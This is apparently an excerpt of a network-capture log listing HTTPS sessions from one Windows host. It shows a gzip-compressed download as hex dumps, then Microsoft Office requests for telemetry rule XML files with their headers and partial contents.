2024-10-29 19:35:21 UTC	15820	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-10-29 19:35:21 UTC	16384	IN	Data Raw: 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c 87 07 e7 d4 da 16 34 27 65 eb d7 87 be Data Ascii: h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp4'e
2024-10-29 19:35:21 UTC	16384	IN	Data Raw: 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d d9 e8 78 24 ab 24 51 69 66 82 d7 44 e8 Data Ascii: &O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-x$$QifD
2024-10-29 19:35:21 UTC	16384	IN	Data Raw: 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 6e 30 91 49 05 4e 42 60 22 53 9e 67 6f Data Ascii: jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM*]z_]y]DZgtc>qDX\\M,SqPn0INB`"Sgo
2024-10-29 19:35:21 UTC	16384	IN	Data Raw: ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e 6f 2b 5e 74 f2 ea 6e 17 ed 6d 37 04 2d Data Ascii: k/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.Vo+^tnm7-
2024-10-29 19:35:21 UTC	16384	IN	Data Raw: 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 4e 60 6b e1 20 c2 ba 99 b8 6d 1e 51 d5 Data Ascii: M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\N`k mQ
2024-10-29 19:35:21 UTC	16384	IN	Data Raw: 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 45 bf 50 93 bc bc 7d c3 e9 75 22 5d 68 Data Ascii: m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>JcEP}u"]h
2024-10-29 19:35:21 UTC	16384	IN	Data Raw: ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 c6 95 ea 57 bd 73 50 18 1d 54 fb 07 d5 Data Ascii: XdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{OWsPT
2024-10-29 19:35:21 UTC	16384	IN	Data Raw: 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 65 5d 3f 2f 1b ab ff 79 9a 2b b3 79 5d Data Ascii: ;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@e]?/y+y]
2024-10-29 19:35:21 UTC	16384	IN	Data Raw: 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 cb e9 d4 75 42 52 43 29 e8 e5 94 bf 82 Data Ascii: P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>uBRC)

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.5	49904	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:20 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:20 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:20 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: ff6a02c5-601e-003e-572b-263248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193520Z-r197bdfb6b4d9xksru4x6qbqr000000006yg00000000mtn7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:20 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.5	49905	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:20 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:20 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:20 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 4e9c2d7b-a01e-0053-0a2e-278603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193520Z-15b8d89586ff5l62aha9080wv0000000085g00000000mcqw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:20 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.5	49906	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:20 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:21 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:21 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 4fde2afa-301e-0099-279b-276683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193521Z-r197bdfb6b4qbfppwgs4nqza8000000005qg000000000vvp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:21 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	49907	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:21 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:21 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:21 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 8ce6a12a-601e-005c-62fe-26f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193521Z-16849878b78km6fmmkbenhx76n00000006bg00000000abp3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:21 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	49908	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:21 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:21 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:21 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: a1e8ab16-701e-0050-601c-266767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193521Z-16849878b78p49s6zkwt11bbkn00000006kg00000000s28z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:21 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	49910	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:21 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:21 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:21 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 43b0bec6-701e-0050-4289-286767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193521Z-15b8d89586flzzksdx5d6q7g10000000022g00000000e10x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
